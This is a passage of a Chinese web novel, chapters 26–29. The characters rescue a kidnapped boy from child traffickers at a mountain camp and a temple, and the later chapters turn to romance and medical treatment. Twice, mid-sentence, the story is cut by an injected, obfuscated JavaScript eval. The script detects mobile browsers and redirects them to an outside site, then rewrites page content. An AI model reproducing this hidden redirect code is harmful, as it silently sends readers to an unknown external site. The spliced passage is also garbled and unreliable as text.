就在这时突然一阵草虫鸣叫,火堆旁守夜的人忽然朝着这个方向看过来,二人僵住身体,罗文呼吸急促。 幸而片刻后,守夜的人收回视线打着哈欠和同伴说话。 “还得走多久?” “快了,等天亮赶路就来得及,反正也没人追我们。” “有人追也不怕,谁能想到我们走这条路?那些人追也是顺着官道追,等他们发现时候我们早就逃的没影了。” 俩人旁若无人的说话,树后季飞白侧过身子,深邃的眼眸一一扫过,终于在一个躺着的汉子身后发现小孩身影,但孩子太小,看不清是不是小竹子。 罗文压低声音:“看样子他们不打算离开,那只要我们等着官府的人来就成。” 季飞白也是如此打算。 按照脚程推算,罗武应该很快就能追上官府的人。 “也不知道安安有没有顺利到寺庙。”罗文嘀咕一句。 季飞白未曾答话,像是一个木桩子似的站在那,罗文便也不再发声。 不知道过去多久,这块空地上洒下了银白月光,视物更加清晰,季飞白眯眼看了一会后问:“你看那边是几个孩子?” 官府的人说算上小竹子总计丢了三个孩子。 季飞白看了一遍又一遍,只有两个。 “两个孩子?”罗文吃惊。 春日的山林里冷的刺骨,两个年岁不大的小孩蜷缩在草地上,看不清面容。罗文心跳如鼓捶,官府的消息不会出错,那么,另一个孩子在哪? 思量的功夫觉得脚面有冰凉之物划过,罗文低头,便见到一条通体花纹的蛇在他脚上盘动。 惊恐之下罗文下意识的飞踢开,虽未惊叫出声,可闹出的动静还是被人发现。 “谁?” 火堆旁一个汉子站起来,拿着刀朝着他们的方向走了过来。 眼见着瞒不住,季飞白快速道:“我去拖住他们,你趁乱带走孩子往回赶。” “六个人,你自己怎么拖住?” 那个汉子已经大喝一声,其他人纷纷醒来朝着这边包围。季飞白抽出配剑,声音坚定道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773203|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你只管带孩子们走。” 两个孩子,想必他是可以抱走的。 季飞白持剑冲出去,事已至此,罗文只能祈求救援快点来。 那些人和季飞白缠斗在一起,趁着空挡,罗文咬牙朝着孩子方向冲过去,然而有人发现他的行踪,只听金石相击之声里有人喊:“他们是来劫孩子的!” 立刻有二人朝着罗文杀过去,全被季飞白尽力挡下,对方人数太多,饶是季飞白身手不错,也逐渐吃力落了下风。 他余光瞥见罗文抱起两个孩子不走正在查看,大喝道:“走!” 罗文抬起脸,面色惊恐中夹杂着古怪。“没有小竹子!” 两个孩子他抱起来看了,一个是女娃,另外一个是脸生的孩子,也不知道为何一直沉睡不醒,罗文将他们抱起来也没有动静。 “什么?” 季飞白分神之际被人钻了空子,已经有三个人冲破防线朝着罗文袭去。罗文顾不上太多咬牙一手拎着一个直接冲进山林里。 季飞白拦住要去追击的人,但一颗心沉了下去。 如果小竹子不在这,那他在哪? 电光火石之间,他想到了什么,冷汗连连。 拿剑逼退一个人后将剑刃横在他脖子上,冷声问道:“另一个孩子在哪?” 那人骂了一句脏话,下一瞬冰冷的剑刃犹如吐信子的毒蛇,已经叮入皮肤,痛感传来的瞬间那人双腿发软差点跪下去。 “我说我说,别杀我!” 其他人也不敢轻举妄动,俱是定在原地。 “有个孩子病了,就让人带着先在寺庙呆一宿,如果好转就留下,不好就直接扔了。” 季飞白脸色难看,紧紧握着剑鞘。 如果人贩子在寺庙,那安素雪此行犹如羊入虎口。 正想着,忽然眼前炸开一阵烟花,季飞白下意识的闭眼,又快速睁开,却已经晚了。 本来在原地的几个人尽数不见踪影。 季飞白蹲下用手指摸残留灰烬。 “原来是他们。” …… “客房不多,就委屈施主和别人一间了。” 安素雪不挑剔这些,点头说好。 僧人说这间房里借住一对母子,进来之后看见孩子面朝墙睡着,母亲听见动静醒来,看见安素雪后朝着她笑笑。 安素雪回以一个微笑。 寺庙供香客住的一般都是大通铺,女香客住在一起,男香客们在另外房间。僧人说那男娃只是个幼儿,因此才住在这的。 房门关上,屋里便只有月亮洒进来的微弱光亮,安素雪怕扰了孩子休息,轻手轻脚的脱了鞋爬上榻,在另一边躺下。 寺庙的床榻很硬,不过安素雪也没有睡觉的心思,脑子里都是在想他们如何了,可否找到小竹子。 安素雪深知季飞白让她来寺庙求助,就是想让她在这安稳度过今晚,因为她帮不上什么忙,还有可能成为累赘。 翻了个身,她感觉清明的脑子突然变得混混沌沌,眼前事物也变得模糊,眼皮发沉,昏了过去。 26. 第 26 章 银白月光透过窗棂泄进来,紧闭双眼的姑娘被人拨走额头的碎发,露出光洁白皙的脸庞。 “好标志的姑娘。” 手在安素雪脸上游走,她感叹道:“可惜了,若不是人手不够,就将你也一同带走了。唉,看来我们有缘无分,姑娘你安心睡个好觉,这迷香可保你睡到明日晌午,到时候我也离开了。” 带着一个孩子在身边,自然时刻警醒。安素雪随着僧人去求助方丈之时,女人便已经醒了且走出房间,听见安素雪说弟弟丢失云云。 女人惊讶于他们竟然反应这么快,甚至比官府更先一步猜出他们的去向。当时她极为紧张,已经盘算着要离开了。不过观察之后发现竟然只有一个小姑娘,且并不知道寺庙里这孩子也是拐来的。 盘算一番后,女人打算让安素雪昏睡,这样省去很多麻烦,就算她第二天反应过来,她也早就逃之夭夭了。 又摸了会年轻嫩滑的脸蛋,女人回到自己被窝睡着了。 天色灰蒙蒙时,女人醒来,摸了下旁边睡着的小男孩,发现他已经不高热了。既然病好了那就带走,又去看在床榻另一边沉睡的安素雪,半宿过去她连躺下的姿势都没变过,看来迷香效果甚好。 也是,就算是壮汉都能被迷倒,何况她一个身娇体弱的小姑娘,算她晌午醒来都算少了,估摸着得睡到黄昏时候。 不管睡多久,到时候她早已离开此地,无处可寻了。 女人又忍不住摸了安素雪的脸蛋,感叹岁月催人老。 片刻后她起身穿好衣服,本想直接离开,但她要在那之前行个方便去,屋里一大一小俱是昏睡着,也不怕会跑,于是她放心离开。 天色尚早,寺庙里的僧人也没起身,正是离开的好时机。 只是再回来时,屋里空空如也。 人呢? 只剩下两个被窝。 不可能! 小姑娘吸了她的迷香,不可能醒过来。 难道他们有同伙? 这般想着,女人飞速朝外面追去。她步伐轻便无声,显然是练家子。很快就朝着大门处去,可发现寺庙的大门未开。 意识到自己追错了方向,女人怒气冲天的折返,很快就在通往寺庙后殿处发现了安素雪。 她怀里抱着孩子跑的不快,眼看着还有几步就到僧人居所可以求助,卯足了劲往前跑,同时不忘大喊求助:“救……” 一个字刚发出气音,后面的人已经追赶上来,一根红绸子嗖的飞过来,灵活如蛇捂住安素雪的嘴,叫她发不出声音。不仅如此,女人迅速逼近,意图抢走怀里的孩子。 好不容易才找到的弟弟,安素雪死也不会放手。那女人重重一掌打在安素雪肩膀上,她吃痛之下胳膊卸力,女人趁机抱走孩子,又阴恻恻低声道:“姑娘,休要怪我!” 话毕,又是一掌打出去。 被红绸子缠住嘴的安素雪只能发出一声闷哼,巨大力道冲的她倒地。 这边闹出声响,已经有僧人察觉,隐约听见开门声。女人暗道不好就要即刻离开,却在转身要走时候感受到了一股阻力。 转过头,见本该疼晕了的姑娘两只手死死拽着她的小腿。 就这么一刹那的耽搁,不仅有僧人从房里出来,就连大门口处也有动静。女人恼怒,朝着安素雪狠踢过去,她这一脚带了憎恨,用尽全力,若是被踩上恐怕手骨尽断。 即使知道后果,安素雪也不能松手,眼睁睁看着对方踢过来。 下一瞬,那女人忽然被掀翻在地,怀里的孩子掉了出去,她还没来得及反应,突然手臂被拽脱臼,随后脸着地被人压在地上。 她还欲要再挣扎,突听剑出鞘的铮铮声,脖颈处一凉,随之而来的是更加凉薄的声音。 “你最好不要再动。” 季飞白弯着腰,一条腿压在女人的背上,偏过头朝着不远处看,就见僧人将安素雪扶起来,小竹子也被人抱起来。 脚程慢的罗文匆匆赶来,当看见安素雪面色惨白唇边有血迹时,当即心如刀绞,跑着扶她。 “安安,你怎么样,哪里受伤?” 缠着她嘴上的红绸子已经被僧人拿掉了,就落在她肩上,乌发散乱垂下,如玉似的面颊沾了灰尘,一双眼眸若含春水,冷不丁落下两滴泪来。 顺着脸颊落下,混合唇边的血迹,血红色的水珠子掉落,犹如有千斤重,砸的罗文脑子里一片空白,扶在她肩膀上的手收紧,下意识的就要将人拥入怀里。 “罗文哥,看看小竹子。”她声音虚弱道。 这句话叫理智回笼,抱着小竹子的僧人快步过来,安素雪检查过后得知弟弟无碍,这才彻底放下心来。 “你没中迷香?” 那女人眼神不甘,她不明白为何事情变成现在这样。明明她点了迷香,明明她亲自检查过确实昏迷,怎么可能醒过来?如果不是她醒来抱走孩子,事情也不会发展成现在这样。 “中了。” “那你为何能清醒过来?” 自然是因为安素雪随身携带清神丸,原本是怕春困秋乏作为提神醒脑之用,没想到昨晚派上了用场。 自小和陈山学医,与各种各样的药材打交道,安素雪的嗅觉比一般人灵敏,轻而易举的嗅到屋里不同寻常的味道。但当时情况不明,安素雪不敢轻举妄动,含了几颗清神丸保持清醒,顺水推舟将计就计。 她躺在那两个时辰一动不动,期间也曾差点睡着,幸好坚持到那人短暂出去,她也顾不上许多抱着孩子就走,出了屋才发现孩子竟然就是弟弟小竹子,安素雪欣喜不已,当即就想离开,不过理智告诉她要求救,于是才有了方才那一幕。 安素雪声音虚弱,罗文不欲让她与贼人多费口舌,“季公子,将她捆起来一同交给官府。” 季飞白身上的衣服破烂带着血迹,整个人风尘仆仆,晨曦微亮,这人深邃的眉眼在昏暗里灿若星辰,朝着安素雪扫过来。 她抬头看他,俩人对视,她眼眶通红,像是落了早春樱花。 片刻后,季飞白偏过头,问就近的僧人道:“可有绳索?” 僧人说有但要去取。 等僧人取来绳索,季飞白松开那女人,两个僧人去捆人,也就是这个时候变故横生。 也不知道怎么回事,突然来了一股浓烟,罗文下意识的挡在安素雪身前,安素雪则是顾不上自己连忙捂住小竹子的口鼻,生怕是毒气。 “怎么回事?” 有人喊:“不对,人不见了!” 在场的人都被笼在烟雾里看不清,僧人摸地上摸了个空,地上的女人不见了。他大喊,可浓雾里伸手不见五指。 安素雪心里一紧,罗文低声道:“安安别怕。” 说着,他一只手抱住小竹子,另外一只手将安素雪搂在怀里,若是有危险都冲他来。 好像有一阵急促脚步声,随后远方传来女人凄厉的叫声,片刻后烟雾散尽,只见季飞白拖着方才的女人回来,对方两只胳膊软绵绵的耷拉在地上,显然都被卸了。 季飞白亲自捆了人,还搜对方的身,找到不少奇怪东西。女人眼神恶毒的看着他,季飞白朝着她后脖颈挥手刀,直接将人打晕。 “他们就是城里的戏班子,手上 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这孩子虽然不爱表达,但应当是担心安安的,安杏花也感谢季飞白,若不是他,安安和小竹子恐怕都没法安然无恙的回来。 异域少年的琥珀色眼眸生的漂亮,他薄唇微抿,素日里冷峻的脸上看不出心思。 …… 果然,当天晚上安素雪醒了,陈山给她诊脉之后长舒一口气:“好了,这些日子不要太辛苦,很快就能恢复。” 安杏花抱着安素雪哭,娘俩哭做一团,好一会安素雪止住眼泪询问弟弟,得知一切都好,她又问:“季飞白呢?还有罗文罗武,他们都没事吧?” 当时她昏了过去,只记得季飞白抓住那个女人,后续一概不知。 安杏花三言两语的说完,安素雪松了口气。 修养了几日后,天气渐热,眼看着就清明,白日里窗户房门都要开着,安素雪看见季飞白早早出去,晚上很晚才回来,也不知做什么去了。 这几天罗武总来探望安素雪,罗文就来过一次,陪着她说了会话便离开,留下罗武单独和她呆着。 罗武是个嘴笨的,绞尽脑汁来逗安素雪,但总是铩羽而归。 “等等,我突然想到了!”安素雪推开给她变戏法的罗武,找到自己的手札,拿起笔刷刷写字。 罗武觉得委屈。 “安安,你在写什么啊?” 安素雪声音温柔:“贴膏药后续反应。” 她身上落了伤,将五毒贴改了方子贴在身上,效果似乎还不错。她将感受都记录好,打算再调整一番给谢公子用。 “和那个谢公子有关?” 安素雪沉浸其中,完全没听出来罗武声音幽怨。 天色擦黑之后罗武回家,罗文一眼就看出他心情不好,兄弟俩聊了片刻,罗武沮丧道:“大哥,我怎么觉得安安看不出我喜欢她?” 为了能让罗武和安安多相处,罗文甚至识趣只探望一次。 相处时间是多了,可罗武觉得没有任何进展。 “要不,从明天开始你替我去?” 罗文看过来,神色不明。 罗武以为他是不乐意,“大哥,还是之前说好的,你得帮我。” “大哥?” 靠在床头的罗文下意识抓紧床单,平整布料被攥的都是褶皱,好像此刻罗文心乱如麻的处境。 好半响之后,罗文应声。 罗武喜笑颜开:“对了,别忘了你答应过我的话。” 不会再喜欢安安。 可情爱一事谁又说的清。 许久之后,罗文垂下眼眸说:“好。” 27. 第 27 章 有了这一遭,安杏花对于算命先生的话更加深信不疑。 “安安啊,你可知道季飞白最近在做什么?怎么总看不见人影。” 安杏花打算的好,罗家兄弟日日都能见到,而且按照她过来人的经验,那双生子八成对自家闺女有意思。 同一屋檐下,近水楼台先得月。安杏花琢磨着季飞白很有可能是那个贵人,毕竟他是官家出身,可这孩子最近不知道忙什么,安安也没时间和他相处。 “不知道。”安素雪摇头,继续收拾药材,这是一会去谢府要用的,还有银针等物件,一一清洗好重新放回去准备使用。 “应该忙自己的事情吧。” 当时在寺庙里看见季飞白制服那个女人,安素雪才知道对方身手有多好,完全不是想象中的花架子。他明明出身小官之家,但好像完全不会端架子,更加平易近人。 不过,这人嘴巴略毒辣。 安杏花没细想,只要不作奸犯科,随他做什么。兴许少年人耐不住寂寞,出去玩耍了也说不定。 “安安,娘和你说啊,你得多和季飞白打交道,他这几日晚上也不回来吃饭,锅灶上热了汤,你等他回来后端给他喝,知道吗?” “娘……”安素雪停下收拾药箱的动作,一脸无奈。 “算命先生算的应当不准的,否则小竹子带着平安符,怎么还出事了呢?” “呸呸!”安杏花赶忙让安素雪把晦气话吐出去,然后无比虔诚的道:“你还小,不知道这里面有说法,小竹子的平安符掉了,否则一定会保平安,而且算命先生算了,说陈家有劫难,瞧瞧,劫难不就落在小竹子身上了?” 安素雪目瞪口呆,想不到还能这样圆。 安杏花深信不疑,道:“算的多准啊!而且我觉得能化解此难,正是因为罗家兄弟和季飞白!算命先生不是说了吗?你命里带贵人,就是三个贵人救了你们姐弟。” 安素雪沉默,安杏花越说越起劲,拍手道:“这样,安安,我盛汤出来,你亲自送去罗家,人家救了你们姐弟,虽然我已经道过谢了,但你亲自上门更显得诚意,对不对?” 从小到大,安素雪一直都听安杏花的话,尽管她不信鬼神之说,也点头同意去送汤,那是因为她觉得确实该正式道谢。 除了汤之外,还另外买了几样点心,罗母看到安素雪笑的见牙不见眼,拉着说了好一会的话。 看着安素雪长大,自然关切她身体,见她恢复的不错,小脸又红润起来,罗母点头放人走了。 “去吧,他们兄弟俩在搬酒呢。” 将东西放下,安素雪朝着库房去了。虽然长大之后没怎么来过罗家,但轻车熟路,她脚步轻快,搬酒坛子的兄弟并未听见脚步声。 “大哥,后日就是清明,这几天酒卖的不错。” “祭祀祖辈都要用酒,当然卖的好。”罗家世代都是酿酒,这门生意将来也要传给兄弟俩,现在他们就已经开始接触酿酒了,不过还达不到罗母的要求。 普通人家祭祀用的酒水不要求多贵多好,所以买两坛子就够,罗家有一种普通黄酒,就坛子不大只能装一斤酒,用来拎着去祭祀正好。他们兄弟俩正是将酒水都放在车上,推去前面铺子里摆好,等着百姓来买。 双生子身材高大,手掌宽厚,一手便能握住一坛子,边说话边干活。“大哥,一会弄完这车你就去找安安吧,剩下的我来。” 他们说好了,天黑之后由罗文假装罗武去见安素雪。 “找我吗?” 门口冷不防出现一道纤细人影,熟悉的温柔声音却吓的罗武手里酒坛子没握住,掉地上发出脆响,好好的一坛子酒没了。 “你没事吧?”安素雪快步进来,罗武张了张嘴,有心问她听到什么了,罗文朝着他摇头,示意莫要言语。 “打就打了,安安,你别过来,小心踩到碎片。” 好心的姑娘蹲下来帮忙捡碎片,罗武立刻也蹲下,两人脑袋碰脑袋。罗文有心也过去,但刚迈出一步便收回腿,神色落寞的垂下眼。 那边安素雪道明来意,罗武笑着道:“你的事就是我们的事,这般客气做什么。” 安素雪莞尔一笑:“不是小事,如果没有你们帮忙,恐怕也找不到小竹子,还有另外两个孩子。” 罗文神色微变。 山上的事情安素雪不清楚,自然不知道其实能抓到那些人都是季飞白的功劳。他明明是个少年郎,可做事老道,轻而易举破开戏班子的障眼法。如若不然,罗文抱着两个孩子恐怕已经被坏人追上,后果不堪设想。 难道这些事情季飞白不曾和她说过? 愣神的功夫,听见安素雪低呼一声,罗文下意识的奔了过去,却见弟弟已经握住安素雪流血的手指,心疼不已道:“安安,你流血了,我帮你擦擦。” 罗武是个糙人,从不用帕子,因此朝着罗文开口道:“大哥,你帕子借我。” 罗文便把自己帕子递过去,看着弟弟借花献佛给安素雪擦指尖。 夜里,罗武拿着帕子要洗,罗文则道不用。 “有血。”罗武说道。 罗文只道:“嗯,我自己洗就好。” 正好今日干活累了,罗武将帕子放在桌上懒洋洋伸了个懒腰。“行,那我先睡觉了。” 躺在床上没一会便响起鼾声。 帕子被一只手捻起,轻轻展开,浅青色的布料上落了几滴鲜艳欲滴的红,好似冬日在枝头绽放的红梅,星星点点。 指腹拂过,恍然间像是感受到温热,帕子上残留的独特香气扑面而来。 眼神晦涩难辨的罗文重新将帕子叠上,贴身放好。 …… 此次救出小竹子,还有一人功不可没。 安素雪怕打扰到陈香玉休息,便坐在院子里等季飞白。后门有响动,颀长身影走了进来,诧异看她。 “你在等我?” 安素雪回头,朝着他露出一个笑。“嗯,等你。” 年轻貌美姑娘的脸和记忆里模糊不清的人重合,都是笑意盈盈的说:“等你。” 季飞白很快缓过神。 那张笑脸再也不会出现了,现在每日都是愁容满面,生不如死。 “锅里有热汤,现在虽然天气暖和了,但夜里还是凉的,喝完身体暖和好休息。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783781|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 院里就有桌子,安素雪盛了汤给他,季飞白默默无言的喝汤,拿勺的手指关节处有红肿和破损,若不是她离的近,恐怕还难以发现。 “我帮你包扎。”她道。 季飞白刚要说不用,安素雪已经拿了东西过来,他斜眼看她,心道现在对他倒是温柔不少。 “和人打架了吗?”她随口问。 季飞白眉梢扬了扬,好笑似的回道:“我在你心里就是这样的人?” “伤口显然是碰撞造成的,”她包扎的动作娴熟,一本正经分析,“如果不是你捶墙,那就是捶人。” “是指点别人功夫时留下的。” 说完这句,季飞白有点懊恼,他和她解释这么多做什么。 “你在教别人功夫?” 怪不得总是不见人影。 说都说了,季飞白直言自己在给别人当护院。 “护院?”安素雪停下动作,抬起头来,显然震惊。 季飞白的父亲在茶马司当值,虽不知道具体职位,但怎么说也是官家之子,为何突然去当护院? “你需要钱?”她猜测。 “玩玩而已。”季飞白懒洋洋的收回手,将剩下的半碗汤喝了便要转身回屋。 “对了,我邀请罗文罗武去茶楼听故事,你也来吧,感谢你出手相助。” 肩宽腿长的年轻郎君头都没回,随意的挥挥手,“再说。” …… 清明这日天刚亮陈山就带着家人去扫墓,安素雪和往年一样主动留下看铺子。 季飞白像是往常那般起床,推开门便看见安素雪惊慌失措的藏着什么,背过手来面对他。 “你起来了。” 晨曦微亮,细微的日光镀在她身上,细腰之后的那截粉白纸往后缩了缩。刚起来的季飞白眼神清亮,似乎能看透一切,安素雪甚至荒唐的想,她藏起东西好像多此一举。 幸好季飞白没说什么,洗漱之后直接离开。 安素雪继续忙碌自己的事情,在医馆开门之前做好,偷偷藏在自己药箱子最底层。 晌午时候谢府的添香来了,安素雪道:“这会儿铺子没人,可否再等一个时辰?我双亲回来立刻过府。” 谢骧是什么身份?他想让谁来谁就要来,从未出现推诿之况。 这还是第一次。 添香犹豫之后还想劝几句,恰逢有老妇人来抓药,安素雪不好意思的笑笑:“抱歉,我先去给徐婆婆看诊。” 年轻的女医看起来和患者极为熟络,甚至清楚上个月来看诊时的病症。 老妇人年岁大,身上衣服灰扑扑,胳膊肘上挎着一个竹篮子,放下篮子伸出手搭在桌子上时,添香甚至看见对方指甲里的污垢。 她嫌弃的捂住嘴,却发现安素雪神色如常的诊脉,并未有半点厌弃之色。 回去复命的添香怕谢骧生气,便主动说出此事给安素雪转圜。“主子,安大夫菩萨心肠,还望主子莫要怪罪。” 红袖在一旁说风凉话:“旁人是看诊,我们主子就不是了?按理来说,主子身份尊贵,更该先看。主子,奴婢觉得那安大夫就是没将您放在眼里。” 28. 第 28 章 晌午过后,陈山他们扫墓回来。 陈山作为族里出众的才俊,此次回去又受到不少夸赞,安杏花抱着小竹子与有荣焉,还有人过来问她累不累,给她拿水喝。 这在以前没生下小竹子前,是从未有过的待遇。 其实刚开始安杏花嫁给陈山所有人都不看好,甚至有人告诉陈山不要娶她,毕竟她死了丈夫,是晦气的寡妇。 那时候陈香玉还小,陈山忙着医馆生意没空照顾孩子,就想家里有人帮忙照料,再能吃上一口热饭。 陈山长的还算周正又年轻而且还是大夫,不少人想嫁给他,甚至还有黄花大闺女,但他就和安杏花见了一面,便决定娶她了。 确实她生的好看,但陈山不是因为她的美色,而是因着只有她会在大人不在场时和陈香玉说话,会逗孩子笑,会给她糖吃。真诚的喜欢孩子,而不是只做样子。 他们成婚那几年没动静,安杏花急的晚上睡不着,陈家族人老是上门讨伐她,刚开始陈山不知情,后来碰到过一次发了怒,才叫那些人安分下来。再后来,有了小竹子,如今安杏花回去村里也不会提前恐惧,腰杆子挺直,别人阴阳怪气她也敢回嘴。 带回来不少村里新鲜的蔬菜和果子,陈山搬下车,陈香玉拽着小竹子的手领着他进门,安杏花则是先朝女儿走去,问她:“晌午吃饭了吗?” “还没吃。” 今日上午来了两个看诊的,安素雪忙碌起来忘了时辰。 安杏花从车上拿来竹筒饭,笑眯眯道:“知道你爱吃,特意给你带回来的,快趁热吃。” 路途遥远,早该凉了才是。 “你陈叔要了小被,塞里面才得以保温,去后院安安静静的吃吧。” 安素雪莞尔一笑:“谢谢娘。” 等陈山从后院来了,她没忘记朝他道谢。陈山性子沉闷,只点点头,招呼安杏花将带回来的咸菜也夹出来一些给她尝尝。 一顿饭吃完,安素雪收拾东西要去谢府,安杏花将人拽去自己房里,小声道:“安安,你都准备什么了?” 药箱子就在手边,安素雪便将其打开,露出第一层的五毒贴和纱布等物。 “这些,都是谢公子用的到的。” 见女儿回答的一本正经,安杏花便知道她没领会自己的意思。 “娘说的不是这个。”拉过女儿的手,安杏花若有所指,“除了治病相关,还有其他的吗?” 不明所以的安素雪缓缓摇了摇头。 女儿的眼眸清澈澄亮,天真不谙世事的模样。安杏花有点揪心,想到女儿的八字更是难受不已。 “安安啊,你听娘说。”安杏花语重心长,“娘不是说了吗,四个人,你都要好好对待,保不齐哪个就是你命里的贵人。” “娘……” “嘘,听我说完,娘知道你不信这些,可试试吧,万一呢?宁可信其有,不可信其无。秋日时就要及笄,等及笄礼之后便要寻婆家了。娘现在只有一个愿望,就是希望你能找个好婆家。” 这件事是横在安杏花心里的一根刺,想起来就会疼。 安素雪张了张嘴,看见她眼眸转红眼看着就要落泪,于是低垂眼眸说了声好。 “你从小就懂事,只要找个好人家,娘就放心了。” 又拉着她絮叨一会,安杏花取了竹筒饭过来,道:“知道谢公子是大户人家,想必什么好东西都见过,这个呢是特色,今天日子特别,吃这个可驱晦保平安。” 村子里最是信奉这些,安杏花觉得讨个彩头也不错,便多拿了几份,正好派上用场。 “不止谢公子有,飞白和罗家兄弟多有,城里可不见得吃这些东西,都是心意,到时候你亲自送。” 安素雪哭笑不得,却也只能应下。 去敲谢府的门,领路丫鬟只喊了声安大夫就一声不吭,一路走来遇见的丫鬟仆从也俱是不应声,偌大的宅院,像是没有活人气儿似的。 到了主院,红袖瞥了安素雪几眼,好半响之后才扭着腰道:“跟上。” 语气硬邦邦,像是指使下人。 安素雪倒是没在意这些,她更想知道谢骧如何了。几日过去,也不知道五毒贴是否起作用。 因此开门进屋看见谢骧后,她几乎表现的急切。“谢公子,膏药可有效果?” 说完朝着他腿上看过去。 谢骧是什么人?他见过的人恐怕比安素雪吃过的米还多,形形色色,数不尽数。他的出身经历也注定让他轻而易举的看透一个人是否真心。 清隽的郎君朝着安素雪看过来,她立在那,一只手捏着药箱的带子,另一只手则是攥紧。 担忧的模样做不得假。 谢骧倏地笑了,原本眉压眼显得格外强势逼人的郎君,因为笑意面容都变得柔和几分。 少见的笑,恼的红袖暗自咬牙。添香悄不作声的拉着她衣袖,朝她摇头,红袖才清醒过来,没叫旁人看出异常。 “备茶。” “是。” 屋里便只剩下他们二人。 天气转暖,谢骧换了轻薄衣料,照旧是一身玄色,靠在椅背上,整个人透着矜贵和疏离感。 安素雪走近,低声道:“我能看看你的腿吗?” 从进屋起,她的眼睛落在他腿上就没移开过。谢骧甚至有种她比他自己还要在乎双腿的错觉。 “自然是可以的,安安。” 安素雪满心满眼都是治疗效果,在可以两个字出来时便已经蹲在他腿边去挽裤腿,完全没听见他对她亲昵的称呼。 谢骧身边只有两个贴身丫鬟,除此之外,谁也别想近他的身。除了安素雪。 他食指撑在眉间,偏头垂目看她。纤细若葱的手指挽起裤腿,不知名的布料丝滑,很快又落下,她只得小心翼翼的再卷一次。 好不容易看到小腿,发现早就没有五毒贴的影子了。 安素雪吃惊抬头,正好对上谢骧莫名的视线,黑曜石一般的眸子紧紧盯着她,唇角扬起微妙的弧度,明知故问道:“怎么了?” “没贴五毒贴吗?” 她记得自己留下膏药,还特意告诉过添香姑娘。 谢骧手指敲着桌面,丝毫不在意地语气道:“用完了。” “抱歉。”安素雪猛然想起怎么回事,“这几日我家里有事所以耽搁了,还好今日带来的膏 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主子身份特别,从小便是锦衣玉食,即使到了这等偏僻之地,也是食不厌精脍不厌细。一道佛跳墙,便已经是普通百姓一年的嚼头。桌子上那个看着不起眼的竹筒还在,红袖心想,她们府里的丫鬟都不会吃这等东西。 “去吧。”谢骧坐在轮椅上闭眼休息,又突然睁眼吩咐,“将它拿走。” 他指的是竹筒饭。 红袖喜不自胜,她就知道这等贱民吃食不会入主子的眼。“奴婢去扔了,免得发酸发臭污了气味。” “去叫厨房蒸热。” “什么?” 谢骧看过来。 “我说的话很难懂吗?” 不笑的谢骧带着天生上位者的气息,睨过来的眼神冰冷,被他看着犹如被一只野兽盯住。 红袖立刻弯腰称是。“奴婢明白,奴婢这就去!” …… “你最近怎么老惹主子啊,红袖,你我侍候主子多年,都知道他的脾气秉性,即使有主仆情分,若是惹他不悦也是要被处罚的。” 大丫鬟只需要侍奉谢骧即可,粗活都不用做。但红袖亲自端着竹筒饭,便是朝谢骧谢罪之意。 俩人从厨房往正院走,添香苦口婆心的劝,可红袖就是钻进了牛角尖怎么都出不来。 “不是我说,你评评理,她一个普通姑娘,凭什么得主子青睐,一次两次的为她破了规矩,凭什么啊。” 红袖愤愤不平。“如果她是京城贵女我也服气,只是个小小医女而已!” “红袖慎言!”添香赶忙捂着她的嘴,左右看了看。 红袖不说话了,二人侍候谢骧吃完了饭,有人来禀事,说是看见安素雪独自出门去了。 “暗中保护,莫要再出现之前的事情。” “属下领命。” “等等,”谢骧动作优雅的擦了唇边,“来人,宽衣。” 添香惊讶,“主子可是要出去?” 谢骧颔首,府里立刻忙活开来。 来这里几个月,这是谢骧第一次要出门。 因为安素雪。 29. 第 29 章 这些日子的接触下来,谢骧发现安素雪是个格外本分老实的姑娘。 她一心向医,不在乎外物,也说不清是太聪明,还是迟钝过了头。 听属下来报说她出门,谢骧着实好奇她会做什么。没带着药箱,显然不是去看诊。 可她的生活里除了行医问诊,似乎没有旁的事情了。 这更家中谢骧的好奇,换好衣服后出门去,不紧不慢的在安素雪身后跟着。大抵今天日子特殊,入夜之后街道上的行人甚少,越发显得那道纤细身影形单影只。 “不必跟的太近。”谢骧淡声吩咐,推车的李昌称是,又落后了一段距离,保管安素雪回头也发现不了。 眼见着过了桥,李昌犯了难。他们主子不良于行,轮椅没法过桥,主子不良于行后最是忌讳,他也不能抱着主子过去。于是李昌道:“主子,属下先去探探安姑娘的去向。” 谢骧声音淡淡道:“不必,她就在河边。” 李昌好奇主子怎么知道,但他不敢问,推着人来到桥边柳树下,恰好能瞧见对岸有个姑娘站在河边,天色已晚,瞧不清楚她在做什么。 谢骧倒是一副胸有成竹的模样,片刻后,不出他所料,看见安素雪蹲下,手里亮起一盏莹莹光亮。 本朝有清明祭祀放河灯的习俗,不过李昌不明白。“主子,放河灯一般都是日月交替黄昏时分放,安姑娘怎么大晚上的出来啊。” 自然是因为她要祭奠亡人。 安素雪的身世被调查的一清二楚,薄薄的一张纸落在谢骧的桌上,概括她前十六年的人生。背景贫瘠素白干净,和她这个人一样。 “都说清明节晚上容易冲撞了脏东西,安姑娘不怕吗?”李昌都觉得凉嗖嗖,她一个弱女子,怎么如此大胆。 河边的妙龄女郎还不知对岸人的想法,她将河灯放下后用手拨动水面,看着河灯被水流带的往下游去。 孤孤单单的一盏灯在河面上,微弱的光亮映在安素雪的眼眸里。其实这些年,她已经忘了她亲生父亲的模样,可他毕竟是亲爹,每年清明她都会为他放一盏河灯。 